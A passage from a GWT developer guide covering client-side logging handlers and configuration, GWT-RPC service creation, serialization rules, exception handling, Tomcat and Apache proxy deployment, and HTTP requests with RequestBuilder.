// OneLoggerController // Change the level of the logger @UiHandler("levelTextBox") void handleLevelClick(ChangeEvent e) { Level level = Level.parse(levelTextBox.getItemText( levelTextBox.getSelectedIndex())); logger.log(Level.SEVERE, "Setting level to: " + level.getName()); logger.setLevel(level); } // Log a message to the logger @UiHandler("logButton") void handleLogClick(ClickEvent e) { Level level = Level.parse(logTextBox.getItemText( logTextBox.getSelectedIndex())); logger.log(level, "This is a client log message"); } // Trigger an exception and log it to the logger @UiHandler("exceptionButton") void handleExceptionClick(ClickEvent e) { try { Level n = null; n.getName(); } catch (NullPointerException ex) { logger.log(Level.SEVERE, "Null Exception Hit", ex); } }

You can play around with these 3 loggers. For now, the easiest place to look for log messages is the popup created in LogExample.java on the web page (different Handlers are discussed in the next section).

4.9.5.

Configuring GWT Logging

In most simple logging implementations, we simply deal with the Root Logger. All messages get propagated up the tree to the Root Logger. The Level and Handlers attached to the Root Logger are what control which messages get logged and to where. This is the basic idea behind the default Handler configurations in GWT logging. The simplest item you can configure is the Level of the Root Logger. You can do this by adding logLevel query parameter to your URL. Try this now, by adding "&logLevel=SEVERE" to the sample URL. Notice how the default level of all of the loggers is now set to SEVERE rather than to INFO. The other way to configure GWT logging is through a .gwt.xml file as follows:
# LogExample.gwt.xml <set-property name="gwt.logging.logLevel" value="SEVERE"/> # To change the default logLevel <set-property name="gwt.logging.enabled" value="FALSE"/> # To disable logging <set-property name="gwt.logging.consoleHandler" value="DISABLED"/> # To disable a default Handler

You can experiment with configuring logging in the provided LogExample.gwt.xml file.

4.9.6.

Different Types of Handlers

GWT logging comes with a set of Handlers already defined and (by default) attached to the Root Logger. You can disable these handlers in the .gwt.xml file as discussed above, extend them, attach them to other loggers, and so forth. You can experiment with adding/removing the various Handlers from the Root Logger using the checkboxes — the code behind this in HandlerController.java. Note that if you disable a Handler using the .gwt.xml file, any instance of it will be replaced with a NullLogHandler (which does nothing and compiles out), so the handler cannot be added/removed using the checkboxes. Here's an example of how a checkbox adds or removes a handler:

312 / 469

// HandlerController.java public void onValueChange(ValueChangeEvent event) { if (checkbox.getValue()) { logger.addHandler(handler); } else { logger.removeHandler(handler); } }

Most of the default Handlers are very straightforward • • • • • • SystemLogHandler - Logs to stdout. These messages can only be seen in Development Mode — look for them in the DevMode window DevelopmentModeLogHandler - Logs by calling method GWT.log. These messages can only be seen in Development mode — look for them in the DevMode window ConsoleLogHandler - Logs to the javascript console, which is used by Firebug Lite (for IE), Safari and Chrome(?) FirebugLogHandler - Logs to Firebug PopupLogHandler - Logs to the popup which appears in the upper left hand corner SimpleRemoteLogHandler - Discussed below, in the Remote Logging section

Although the PopupLogHandler is easy to use, it is also a bit invasive. A better solution for most apps is to disable the PopupLogHandler and instead send the log messages to a Panel somewhere in your app. GWT logging is set up to make this easy, and you can see an example of this in CustomLogArea.java. In this case, we have created a VerticalPanel (although any widget which extends HasWidgets and supports multiple add() calls can be used). Once we have one of these widgets, we simply pass it into the constructor of a HasWidgetsLogHandler and add that Handler to a logger.
// VerticalPanel.java VerticalPanel customLogArea; // An example of adding our own custom logging area. Since VerticalPanel extends HasWidgets, // and handles multiple calls to add(widget) gracefully we simply create a new HasWidgetsLogHandler // with it, and add that handler to a logger. In this case, we add it to a particular logger in order // to demonstrate how the logger hierarchy works, but adding it to the root logger would be fine. logger.addHandler(new HasWidgetsLogHandler(customLogArea));

4.9.7.

Client vs. Server-side Logging

Although GWT emulates java.util.logging, it is important to understand the difference between server-side and client-side logging. Client-side logging logs to handlers on the client side, while server-side logging logs to handlers on the server side. To make this clear, the client-side GWT code has a Root Logger (and logger hierarchy) that is separate from the serverside code; all of the handlers discussed above are only applicable to client-side code. If code shared by the client and server makes logging calls, then which Root Logger (and logger hierarchy) it logs to will depend on whether it is being executed on the client or server side. You should not add or manipulate Handlers in shared code, since this will not work as expected. In ServerLoggingArea.java, you can experiment with these concepts. The buttons in that section will trigger logging calls on the server, as well as logging calls in SharedClass.java from both the client and server side. Note the slight differences in formatting between client-side and server-side logging, as well as the different handlers each is logged to (in the tutorial, server-side logging will simply log to stderr, while client-side logging will log to all of the Handlers discussed above).

4.9.8.

Remote Logging

In order for events that are logged by client side code to be stored on the server side, you need to use a RemoteLogHandler. This handler will send log messages to the server, where they will be logged using the server side logging mechanism. GWT currently contains a SimpleRemoteLogHandler which will do this in the simplest possible way (using GWT-RPC) and no intelligent batching, exponential backoffs in case of failure, and so forth. This logger is

313 / 469

disabled by default, but you can enable it in the .gwt.xml file (see the section on Handlers above for more details on configuring the default Handlers).
# LogExample.gwt.xml <set-property name="gwt.logging.simpleRemoteHandler" value="ENABLED" />

You will also need to serve the remoteLoggingServlet.

4.9.9.

Making All Logging Code Compile Out

When logging is disabled, the compiler will used Deferred Binding to substitute Null implementations for the Logger and Level classes. Since these implementations just return Null, and do nothing, they will generally get trimmed by the GWT compiler (which does a pretty good job of removing useless code). However, it is not guaranteed that other code you write related to logging will compile out. If you want to guarantee that some chunk of code is removed when logging is disabled, you can use the LogConfiguration.loggingIsEnabled() method:
if (LogConfiguration.loggingIsEnabled()) { String logMessage = doSomethingExpensiveThatDoesNotNormallyCompileOut(); logger.severe(logMessage); }

Code that normally compiles out will still be present in Development mode. You can use the same condition as above to hide code from Development Mode, as shown here:
// VerticalPanel.java // Although this code will compile out without this check in web mode, the guard will ensure // that the handler does not show up in development mode. if (LogConfiguration.loggingIsEnabled()) { logger.addHandler(new HasWidgetsLogHandler(customLogArea)); }

4.9.10.

Emulated and Non-Emulated Classes

The GWT logging framework does not emulate all parts of java.util.logging. See JRE Emulation Reference for a list of the emulated classes and members. The following Handlers and Formatters are provided:
HTMLFormatter TextFormatter SystemLogHandler ConsoleLogHandler FirebugLogHandler DevelopmentModeLogHandler HasWidgetsLogHandler (and LoggingPopup to use with it)

314 / 469

4.10. Communicate with a Server
At some point, most GWT applications will need to interact with a backend server. GWT provides a couple of different ways to communicate with a server via HTTP. You can use the GWT RPC framework to transparently make calls to Java servlets and let GWT take care of low-level details like object serialization. Alternatively, you can use GWT's HTTP client classes to build and send custom HTTP requests. Note: To run through the steps to communicate with a server in a sample GWT application, see the tutorial Communicating with the server. 1. Server-side Code 2. Remote Procedure Calls 3. RPC Plumbing Diagram 4. Creating Services 5. Implementing Services 6. Actually Making a Call 7. Serializable Types 8. Handling Exceptions 9. Architectural Perspectives 10. Deploying RPC 11. Making HTTP requests 12. Getting Used to Asynchronous Calls 13. Direct-Eval RPC

4.10.1.

Server-side Code

Everything that happens within your web server is referred to as server-side processing. When your application running in the user's browser needs to interact with your server (for example, to load or save data), it makes an HTTP request across the network using a remote procedure call (RPC). While processing an RPC, your server is executing server-side code. GWT provides an RPC mechanism based on Java Servlets to provide access to server side resources. This mechanism includes generation of efficent client and server side code to serialize objects across the network using deferred binding. Tip: Although GWT translates Java into JavaScript for client-side code, GWT does not meddle with your ability to run Java bytecode on your server whatsoever. Server-side code doesn't need to be translatable, so you're free to use any Java library you find useful. GWT does not limit you to this one RPC mechanism or server side development environment. You are free to integrate with other RPC mechanisms, such as JSON using the GWT supplied RequestBuilder class, JSNI methods or a third party library.

4.10.2.

Remote Procedure Calls

A fundamental difference between AJAX applications and traditional HTML web applications is that AJAX applications do not need to fetch new HTML pages while they execute. Because AJAX pages actually run more like applications within the browser, there is no need to request new HTML from the server to make user interface updates. However, like all client/server applications, AJAX applications usually do need to fetch data from the server as they execute. The mechanism for interacting with a server across a network is called making a remote procedure call (RPC), also sometimes referred to as a server call. GWT RPC makes it easy for the client and server to pass Java objects back and forth over HTTP. When used properly, RPCs give you the opportunity to move all of your UI logic to the client, resulting in greatly improved performance, reduced bandwidth, reduced web server load, and a pleasantly fluid user experience. The server-side code that gets invoked from the client is often referred to as a service, so the act of making a remote procedure call is sometimes referred to as invoking a service. To be clear, though, the term service in this context is not the same as the more general "web service" concept. In particular, GWT services are not related to the Simple Object Access Protocol (SOAP).

315 / 469

4.10.3.

RPC Plumbing Diagram

This section outlines the moving parts required to invoke a service. Each service has a small family of helper interfaces and classes. Some of these classes, such as the service proxy, are automatically generated behind the scenes and you generally will never realize they exist. The pattern for helper classes is identical for every service that you implement, so it is a good idea to spend a few moments to familiarize yourself with the terminology and purpose of each layer in server call processing. If you are familiar with traditional remote procedure call (RPC) mechanisms, you will recognize most of this terminology already.

4.10.4.

Creating Services

In order to define your RPC interface, you need to: 1. Define an interface for your service that extends RemoteService and lists all your RPC methods. 2. Define a class to implement the server-side code that extends RemoteServiceServlet and implements the interface you created above. 3. Define an asynchronous interface to your service to be called from the client-side code.

Synchronous Interface
To begin developing a new service interface, create a client-side Java interface that extends the RemoteService tag interface.
package com.example.foo.client; import com.google.gwt.user.client.rpc.RemoteService; public interface MyService extends RemoteService { public String myMethod(String s); }

This synchronous interface is the definitive version of your service's specification. Any implementation of this service on the server-side must extend RemoteServiceServlet and implement this service interface.

316 / 469

package com.example.foo.server; import com.google.gwt.user.server.rpc.RemoteServiceServlet; import com.example.client.MyService; public class MyServiceImpl extends RemoteServiceServlet implements MyService { public String myMethod(String s) { // Do something interesting with 's' here on the server. return s; } }

Tip: It is not possible to call this version of the RPC directly from the client. You must create an asynchronous interface to all your services as shown below.

Asynchronous Interfaces
Before you can actually attempt to make a remote call from the client, you must create another client interface, an asynchronous one, based on your original service interface. Continuing with the example above, create a new interface in the client subpackage:
package com.example.foo.client; interface MyServiceAsync { public void myMethod(String s, AsyncCallback<String> callback); }

The nature of asynchronous method calls requires the caller to pass in a callback object that can be notified when an asynchronous call completes, since by definition the caller cannot be blocked until the call completes. For the same reason, asynchronous methods do not have return types; they generally return void. Should you wish to have more control over the state of a pending request, return Request instead. After an asynchronous call is made, all communication back to the caller is via the passed-in callback object.

Naming Standards
Note the use of the suffix Async and argument referencing the AsyncCallback class in the examples above. The relationship between a service interface and its asynchronous counterpart must follow certain naming standards. The GWT compiler depends on these naming standards in order to generate the proper code to implement RPC. • A service interface must have a corresponding asynchronous interface with the same package and name with the Async suffix appended. For example, if a service interface is named com.example.cal.client.SpellingService, then the asynchronous interface must be called com.example.cal.client.SpellingServiceAsync. Each method in the synchronous service interface must have a coresponding method in the asynchronous service interface with an extra AsyncCallback parameter as the last argument.

See AsyncCallback for additional details on how to implement an asynchronous callback.

4.10.5.

Implementing Services

Every service ultimately needs to perform some processing to order to respond to client requests. Such server-side processing occurs in the service implementation, which is based on the well-known servlet architecture. A service implementation must extend RemoteServiceServlet and must implement the associated service interface. Note that the service implementation does not implement the asynchronous version of the service interface. Every service implementation is ultimately a servlet, but rather than extending HttpServlet, it extends RemoteServiceServlet instead. RemoteServiceServlet automatically handles serialization of the data being passed between the client and the server and invoking the intended method in your service implementation.

317 / 469

Testing Services During Development
GWT development mode includes an embedded version of Jetty which acts as a development-time servlet container for testing. This allows you to debug both server-side code and client-side code when your run your application in development mode using a Java debugger. To automatically load your service implementation, configure your servlet in your web.xml. For example, suppose you have a module com.example.foo.Foo, and you define an RPC interface com.example.foo.client.MyService, annotated with @RemoteServiceRelativePath("myService"). You then implement a servlet for the interface you created for com.example.foo.client.MyService with the class com.example.foo.server.MyServiceImpl which extends RemoteServiceServlet. Finally, you add the following lines to your web.xml:
<!-- Example servlet loaded into servlet container --> <servlet> <servlet-name>myServiceImpl</servlet-name> <servlet-class> com.example.foo.server.MyServiceImpl </servlet-class> </servlet> <servlet-mapping> <servlet-name>myServiceImpl</servlet-name> <url-pattern>/com.example.foo.Foo/myService</url-pattern> </servlet-mapping>

Take a look at the value in url-pattern. The first part must match the name of your GWT module. If your module has a rename-to attribute, you would use the renamed value instead; either way it must match the actual subdirectory within your war directory where your GWT module lives (the module base URL). The second part must match the value you specified in the RemoteServiceRelativePath annotation you annotated com.example.foo.client.MyService with. When testing out both the client and server side code in development mode, make sure to place a copy of the gwtservlet.jar into your war/WEB-INF/lib directory, and make sure your Java output directory is set to war/WEBINF/classes. Otherwise the embedded Jetty server will not be able to load your servlet properly.

Common Pitfalls
Here are some commonly seen errors trying to get RPC running: • When you start development mode, you see a ClassNotFoundException exception on the console, and the embedded server returns an error. This most likely means that the class referenced by the servlet element in your GWT module is not in war/WEB-INF/classes. Be sure to compile your server classes into this location. If you are using an Ant build.xml generated by webAppCreator, it should do this for you automatically. When you start development mode, you see a NoClassDefFoundError: com/google/gwt/user/client/rpc/RemoteService exception on the console, and the embedded server returns an error. This most likely means you forgot to copy gwt-servlet.jar into war/WEB-INF/lib. If you are using an Ant build.xml generated by webAppCreator, it should do this for you automatically. Later on, if you need additional server-side libraries, you will need to add copies of those libraries into war/WEBINF/lib also. When running your RPC call, development mode displays an excaption NoServiceEntryPointSpecifiedException: Service implementation URL not specified. This error means that you did not specify a @RemoteServiceRelativePath in your service interface, and you also did not manually set target path by calling ServiceDefTarget.setServiceEntryPoint(). If invoking your RPC call fails with a 404 StatusCodeException, your web.xml may be misconfigured. Make sure you specified a @RemoteServiceRelativePath and that the <url-pattern> specified in your web.xml matches this value, prepended with the location of your GWT output directory within the war directory.

Deploying Services Into Production
If development mode works correctly, and you've compiled your application with the GWT compiler and tested that production mode works correctly, you should be able to deploy the contents of your war directory into any servlet container that is appropriate for your application. See the example deployment in this guide for an example of how to deploy to a servlet container.

318 / 469

4.10.6.

Actually Making a Call

The process of making an RPC from the client always involves the same steps: 1. Instantiate the service interface using GWT.create(). 2. Create an asynchronous callback object to be notified when the RPC has completed. 3. Make the call.

Example
Suppose you want to call a method on a service interface defined as follows:
// The RemoteServiceRelativePath annotation automatically calls setServiceEntryPoint() @RemoteServiceRelativePath("email") public interface MyEmailService extends RemoteService { void emptyMyInbox(String username, String password); }

Its corresponding asynchronous interface will look like this:
public interface MyEmailServiceAsync { void emptyMyInbox(String username, String password, AsyncCallback<Void> callback); }

The client-side call will look like this:
public void menuCommandEmptyInbox() { // (1) Create the client proxy. Note that although you are creating the // service interface proper, you cast the result to the asynchronous // version of the interface. The cast is always safe because the // generated proxy implements the asynchronous interface automatically. // MyEmailServiceAsync emailService = (MyEmailServiceAsync) GWT.create(MyEmailService.class); // (2) Create an asynchronous callback to handle the result. // AsyncCallback callback = new AsyncCallback() { public void onSuccess(Void result) { // do some UI stuff to show success } public void onFailure(Throwable caught) { // do some UI stuff to show failure } }; // (3) Make the call. Control flow will continue immediately and later // 'callback' will be invoked when the RPC completes. // emailService.emptyMyInbox(fUsername, fPassword, callback); }

It is safe to cache the instantiated service proxy to avoid creating it for subsequent calls. For example, you can instantiate the service proxy in the module's onModuleLoad() method and save the resulting instance as a class member.

319 / 469

public class Foo implements EntryPoint { private MyEmailServiceAsync myEmailService = (MyEmailServiceAsync) GWT.create(MyEmailService.class); public void onModuleLoad() { // ... other initialization } /** * Make a GWT-RPC call to the server. The myEmailService class member * was initalized when the module started up. */ void sendEmail (String message) { myEmailService.sendEmail(message, new AsyncCallback<String>() { public void onFailure(Throwable caught) { Window.alert("RPC to sendEmail() failed."); } public void onSuccess(String result) { label.setText(result); } }); } }

4.10.7.

Serializable Types

GWT supports the concept of serialization, which means allowing the contents of a data object to be moved out of one piece of running code and either transmitted to another application or stored outside the appliation for later use. GWT RPC method parameters and return types must be transmitted across a network between client and server applications and therefore they must be serializable. Serializable types must conform to certain restrictions. GWT tries really hard to make serialization as painless as possible. While the rules regarding serialization are subtle, in practice the behavior becomes intuitive very quickly. Tip: Although the terminology is very similar, GWT's concept of "serializable" is slightly different than serialization based on the standard Java interface Serializable. All references to serialization are referring to the GWT concept. For some background, see the FAQ topic Does the GWT RPC system support the use of java.io.Serializable? A type is serializable and can be used in a service interface if one of the following is true: • • • • • • The type is primitive, such as char, byte, short, int, long, boolean, float, or double. The type an instance of the String, Date, or a primitive wrapper such as Character, Byte, Short, Integer, Long, Boolean, Float, or Double. The type is an enumeration. Enumeration constants are serialized as a name only; none of the field values are serialized. The type is an array of serializable types (including other serializable arrays). The type is a serializable user-defined class. The type has at least one serializable subclass.

The class java.lang.Object is not serializable, therefore you cannot expect that a collection of Object types will be serialized across the wire. As of GWT 1.5, most use cases can utilize Java generics to replace the use of Object instances.

Serializable User-defined Classes
A user-defined class is serializable if all of the following apply: 1. It is assignable to IsSerializable or Serializable, either because it directly implements one of these interfaces or because it derives from a superclass that does 2. All non-final, non-transient instance fields are themselves serializable, and 3. As of GWT 1.5, it must have a default (zero argument) constructor (with any access modifier) or no constructor at all. The transient keyword is honored, so values in transient fields are not exchanged during RPCs. Fields that are declared final are also not exchanged during RPCs, so they should generally be marked transient as well.

320 / 469

Polymorphism
GWT RPC supports polymorphic parameters and return types. To make the best use of polymorphism, however, you should still try to be as specific as your design allows when defining service interfaces. Increased specificity allows the compiler to do a better job of removing unnecessary code when it optimizes your application for size reduction.

Raw Types
Collection classes such as java.util.Set and java.util.List are tricky because they operate in terms of Object instances. To make collections serializable, you should specify the particular type of objects they are expected to contain through normal type parameters (for example, Map<Foo,Bar> rather than just Map). If you use raw collections or maps you will get bloated code.

Serializing Enhanced Classes
Server-side persistence APIs, such as Java Data Objects (JDO) and the Java Persistence API allow server-side code to store Java objects in a persistent data store. When objects are attached to the data store, changes to the object field values are reflected in the data store and remain available even after the object is destroyed or the Java VM is restarted. A number of persistence APIs are commonly implemented by passing the class source code or bytecode through a tool known as an "enhancer." Enhancers may add additional static or instance fields to the class definition in order to implement the persistence features. Note that these enhancements are relevant on the server-side only; GWT does not provide persistence for client code. However, the use of server-side enhancement causes class definitions to differ between the client and server, since the enhancer is run only on the server. Due to these differences, previous versions of GWT were unable to perform RPC on enhanced classes. As of GWT version 2.0, some common forms of persistence are now handled by the GWT RPC mechanism. GWT considers a class to be enhanced if any of the following are true: • • • The class is annotated with a JDO javax.jdo.annotations.PersistenceCapable annotation with detachable=true. The class is annotated with a JPA javax.persistence.Entity annotation. The fully-qualified class name is listed as one of the values of the rpc.enhancedClasses configuration property in a .gwt.xml module file that is part of the application.

The GWT RPC mechanism for enhanced classes makes several assumptions regarding the persistence implementation: • • • The object must be in a detached state (that is, changes to its fields must not affect the persistent store, and vice versa) at the time it is passed to or returned from a method of a RemoteService. Enhanced fields that are neither static nor transient must be serializable using the ordinary Java serialization mechanism. If the persistence implementation requires changes to an enhanced instance field to have additional side effects (for example, if static fields need to be updated at the same time), a suitably named setter method (as described below) must exist for the instance field.

When transmitting an enhanced object from server to client, the normal GWT RPC mechanism is used for the nonenhanced fields. Non-transient, non-static fields that exist on the server but not the client are serialized on the server using Java serialization, and the field names and values are combined into a single encoded value which is passed to the client. The client stores this encoded value, but does not make use of it except when transmitting the object back to the server. When an enhanced object is transmitted from client to server, the encoded value (if present) is sent to the server, where it is decoded into its separate field names and values. For each field 'xxxYyy', if a setter method named 'setXxxYyy' exists (note capitalization of the first letter following 'set'), it is called with the field value as its argument. Otherwise, the field is set directly.

4.10.8.

Handling Exceptions

Making RPCs opens up the possibility of a variety of errors. Networks fail, servers crash, and problems occur while processing a server call. GWT lets you handle these conditions in terms of Java exceptions. RPC-related exceptions fall into two categories: checked exceptions and unchecked exceptions. Keep in mind that any custom exceptions that you want to define, like any other piece of client-side code, must only be composed of types supported by GWT's emulated JRE library.

321 / 469

Checked Exceptions
Service interface methods support throws declarations to indicate which exceptions may be thrown back to the client from a service implementation. Callers should implement AsyncCallback.onFailure(Throwable) to check for any exceptions specified in the service interface.

Unexpected Exceptions
InvocationException
An RPC may not reach the service implementation at all. This can happen for many reasons: the network may be disconnected, a DNS server might not be available, the HTTP server might not be listening, and so on. In this case, an InvocationException is passed to your implementation of AsyncCallback.onFailure(Throwable). The class is called InvocationException because the problem was with the invocation attempt itself rather than with the service implementation. An RPC can also fail with an invocation exception if the call does reach the server, but an undeclared exception occurs during normal processing of the call. There are many reasons such a situation could arise: a necessary server resource, such as a database, might be unavailable, a NullPointerException could be thrown due to a bug in the service implementation, and so on. In these cases, a InvocationException is thrown in application code.

IncompatibleRemoteServiceException
Another type of failure can be caused by an incompatibility between the client and the server. This most commonly occurs when a change to a service implementation is deployed to a server but out-of-date clients are still active. For more details please see IncompatibleRemoteServiceException. When the client code receives an IncompatibleRemoteServiceException, it should ultimately attempt to refresh the browser in order to pick up the latest client.

4.10.9.

Architectural Perspectives

There are various ways to approach services within your application architecture. Understand first of all that GWT RPC services are not intended to replace J2EE servers, nor are they intended to provide a public web service (e.g. SOAP) layer for your application. GWT RPCs, fundamentally, are simply a method of "getting from the client to the server." In other words, you use RPCs to accomplish tasks that are part of your application but that cannot be done on the client computer. Architecturally, you can make use of RPC two alternative ways. The difference is a matter of taste and of the architectural needs of your application.

Simple Client/Server Deployment
The first and most straightforward way to think of service definitions is to treat them as your application's entire back end. From this perspective, client-side code is your "front end" and all service code that runs on the server is "back end." If you take this approach, your service implementations would tend to be more general-purpose APIs that are not tightly coupled to one specific application. Your service definitions would likely directly access databases through JDBC or Hibernate or even files in the server's file system. For many applications, this view is appropriate, and it can be very efficient because it reduces the number of tiers.

Multi-Tier Deployment
In more complex, multi-tiered architectures, your GWT service definitions could simply be lightweight gateways that call through to back-end server environments such as J2EE servers. From this perspective, your services can be viewed as the "server half" of your application's user interface. Instead of being general-purpose, services are created for the specific needs of your user interface. Your services become the "front end" to the "back end" classes that are written by stitching together calls to a more general-purpose back-end layer of services, implemented, for example, as a cluster of J2EE servers. This kind of architecture is appropriate if you require your back-end services to run on a physically separate computer from your HTTP server.

322 / 469

4.10.10. Deploying RPC
The GWT development mode embedded web server is only intended for debugging your web app. Once your web app is ready for deployment, it is time to deploy to a production server. If your web app consists only of static content, pretty much any web server will do. However, most GWT web apps will use RPC and Java servlets. For these kinds of applications, you will need to select a servlet container (also called a web container or web engine) to run the backend. GWT does not provide a servlet container to use in production, but there are many different products available. The following lists just a few commercial and non-commercial offerings: • • • • • Apache Tomcat Jetty JBoss IBM Web Sphere Oracle Application Server

In the examples below, we'll show how to deploy your server-side components to a production server using Apache HTTPD and Apache Tomcat as a web engine. Although there are many different implementations of web servers and servlet containers, the Servlet API Specifications define a standard structure for project directories which most web engines follow, and as of 1.6, GWT's native output format follows this specification. Tip: For the latest servlet specification documentation see the Java Community Process website. It will describe the general workings of the servlet and the conventions used in configuring your servlets for deployment.

Simple Example with Apache Tomcat
Before you get started, make sure your application works correctly in development mode. The simplest way to deploy your application is to use a single server for both your static content and your servlet classes. If you created your project with webAppCreator, you can simply run ant war in your project directory. The Ant build.xml file should do the following things automatically: 1. Copy any necessary libraries into war/WEB-INF/lib. You may need to update your build.xml file if you've added additional library dependencies beyond gwt-servlet.jar. 2. Compile your Java source files into war/WEB-INF/classes. This is necessary to run your server code on the web server. 3. Run the GWT compiler on your GWT module. This produces all of the GWT output files you need. 4. Zip up the contents of your war directory into a .war file. Now just copy your .war file into Tomcat's /webapps folder. If you have default configuration settings it should automatically unzip the .war file. If Tomcat is in its default configuration to run on port 8080, you should be able to run your application by entering the url http://<hostname>:8080/MyApp/MyApp.html into your web browser. If you encounter any problems, take look in the Tomcat log file, which can be found in the logs directory of your Tomcat installation. If your web pages display but the RPC calls don't seem to be going through, try turning on access logging on Tomcat. You may find that the URL used by the client side has not been registered by Tomcat, or that there is a misconfiguration between the URL path set in the setServiceEntryPoint(URL) call when declaring your RPC service and the <url-pattern> URL mapping the the web.xml file.

Using Tomcat with Apache HTTPD and a proxy
The above example is a good way to test your application from client to server, but may not be the best production setup. For one, the Jakarta/Tomcat server is not the fastest web server for static files. Also, you may already have a web infrastructure setup for serving static content that you would like to leverage. The following example will show you how to split the web engine deployment from from the static content. If you look at the war directory of a built web application, you'll notice two kinds of files: 1. Everything other than the WEB-INF/ directory (and subdirectories) is static content. 2. The contents of the WEB-INF/ directory contain server configuration and code. Once you've built your web application, copy the contents of the war directory except for WEB-INF/ directory into your apache configuration's document root. We will call that directory /var/www/doc/MyApp and the resulting URL is 323 / 469

http://www.example.com/MyApp/MyApp.html. (An easier method might be to just copy the entire war contents and then delete WEB-INF/ out of the destination.) To setup your Tomcat server, just deploy the entire war, including both kinds of content. The reason for including static content is that servlets may need to use ServletContext.getResource() to access static content programmatically. This is always true for GWT RPC servlets, which need to load a generated serialization policy file.

Example
Let's assume that the Tomcat server is on a different host. In this case, there is going to be a problem. Browsers' Single Origin Policy (SOP) will prevent connections to ports or machines that differ from the original URL. The strategy we are going to use to satisfy the SOP is to configure Apache to proxy a URL to another URL. Specific directions for configuring Apache and Tomcat for such a proxy setup are at the Apache website. The general idea is to setup Apache to redirect ONLY requests to your sevlets. That way Apache will serve all the static content, and your Tomcat server will only be used for service calls. For this example, assume that: • • • • Your Apache server is running on www.example.com Your Tomcat server is running on servlet.example.com:8080 Your GWT module has a <rename-to="myapp"> You have one RPC servlet, mapped into /myapp/myService

The idea is to have Apache proxy requests to the servlet to the other server such that:
http://www.example.com/MyApp/myapp/myService --> http://servlet.example.com:8080/MyApp/myapp/myService

The following Apache configuration sets up such a rule using a Proxy:
ProxyPass /MyApp/myapp/myService http://servlet.example.com:8080/MyApp/myapp/myService ProxyPassReverse /MyApp/myapp/myService http://servlet.example.com:8080/MyApp/myapp/myService

To verify this is working, use a web browser to hit both http://www.example.com/MyApp/myapp/myService and http://servlet.example.com:8080/MyApp/myapp/myService. You should get the same result in both cases (typically a 405: HTTP method GET is not supported by this URL, which is good). If you get something different hitting the second URL, you may have a configuration issue. • • • If you get a 404, there is most likely an error in the left hand side of your URL mapping. If you get a "Bad Gateway", there is most likely an error in the right hand side of your URL mapping. If you get a 403 permission error, check the Apache configuration files to for <Proxy> tags to see if the permissions are wrong. You may need to add a section like this:
<Proxy *> Order deny,allow Allow from all </Proxy>

Other Deployment Methods
It should be mentioned that these are just two examples of deployment scenarios. There are many ways to configure your application for deployment: • • • Some web engines take special directives in web.xml that need to be taken into consideration. Some web servers have optimized ways to route servlet calls to a servlet engine (e.g. mod_jk on Apache) Some web servers and web engines have facilities for replication so you can load balance your servlet across many nodes.

324 / 469

Tip: You can also use a real production server while debugging in development mode. This can be useful if you are adding GWT to an existing application, or if your server-side requirements have become more than the embedded web server can handle. See this article on how to use an external server in development mode.

4.10.11.

Making HTTP requests

If your GWT application needs to communicate with a server, but you can't use Java servlets on the backend — or if you simply prefer not to use RPC — you can still perform HTTP requests manually. GWT contains a number of HTTP client classes that simplify making custom HTTP requests to your server and optionally processing a JSON- or XML-formatted response. GWT contains a set of HTTP client classes that allow your application to make generic HTTP requests.

Using HTTP in GWT
Making HTTP requests in GWT works much like it does in any language or framework, but there are a couple of important differences you should be aware of. First, because of the single-threaded execution model of most web browsers, long synchronous operations such as server calls can cause a JavaScript application's interface (and sometimes the browser itself) to become unresponsive. To prevent network or server communication problems from making the browser "hang", GWT allows only asynchronous server calls. When sending an HTTP request, the client code must register a callback method that will handle the response (or the error, if the call fails). For more information about the exclusion of synchronous server connections, you may want to check out this FAQ article. Second, because GWT applications run as JavaScript within a web page, they are subject to the browser's same origin policy (SOP). SOP prevents client-side JavaScript code from interacting with untrusted (and potentially harmful) resources loaded from other websites. In particular, SOP makes it difficult (although not impossible) to send HTTP requests to servers other than the one that served the HTML host page into which your GWT module is laoded.

HTTP client types
To use the HTTP types in your application, you'll need to first inherit the GWT HTTP module by adding the following <inherits> tag to your module XML file:
<inherits name="com.google.gwt.http.HTTP" />

RequestBuilder is the core class you'll need for constructing and sending HTTP requests. Its constructor has parameters for specifying the HTTP method of the request (GET, POST, etc.) and the URL (the URL utility class is handy for escaping invalid characters). Once you have a RequestBuilder object, you can use its methods to set the username, password, and timeout interval. You can also set any number of headers in the HTTP request. Once the HTTP request is ready, call the server using the sendRequest(String, RequestCallback) method. The RequestCallback argument you pass will handle the response or the error that results. When a request completes normally, your onResponseReceived(Request, Response) method is invoked. Details of the response (for example, status code, HTTP headers, and response text) can be retrieved from the Response argument. Note that the onResponseReceived(Request, Response) method is called even if the HTTP status code is something other than 200 (success). If the call does not complete normally, the onError(Request, Throwable) method gets called, with the second parameter describing the type error that occurred. As noted before, all HTTP calls in GWT are asynchronous, so the code following the call to sendRequest(String, RequestCallback) will be executed immediately, not after the server responds to the HTTP request. You can use the Request object that is returned from sendRequest(String, RequestCallback) to monitor the status of the call, and cancel it if necessary. Here's a brief example of making an HTTP request to a server:

325 / 469

import com.google.gwt.http.client.*; ... String url = "http://www.myserver.com/getData?type=3"; RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, URL.encode(url)); try { Request request = builder.sendRequest(null, new RequestCallback() { public void onError(Request request, Throwable exception) { // Couldn't connect to server (could be timeout, SOP violation, etc.) } public void onResponseReceived(Request request, Response response) { if (200 == response.getStatusCode()) { // Process the response in response.getText() } else { // Handle the error. Can get the status text from response.getStatusText() } } }); } catch (RequestException e) { // Couldn't connect to server }

Processing the response
Once you receive the response from the server using Response.getText(), it's up to you to process it. If your response is encoded in XML or JSON, you can use the XML library and the JSON library or overlay types, respectively, to process it.

4.10.12. Getting Used to Asynchronous Calls
Using the AsyncCallback interface is new to many developers. Code is not necessarily executed sequentially, and it forces developers to handle situations where a server call is in progress but has not completed. Despite these seeming drawbacks, the designers of GWT felt it was an essential part of creating usable interfaces in AJAX for several reasons: • The JavaScript engine in most browsers is singly threaded, meaning that: • The JavaScript engine will hang while waiting for a synchronous RPC call to return. • Most browsers will popup a dialog if any JavaScript entry point takes longer than a few moments. A server could be inaccessible or otherwise non responsive. Without an asynchronous mechanism, the application could be left waiting on a server call to return indefinitely. Asynchronous mechanisms allow server calls to run in parallel with logic inside the application, shortening the overall response time to the user. Asynchronous mechanisms can service multiple server calls in parallel.

• • •

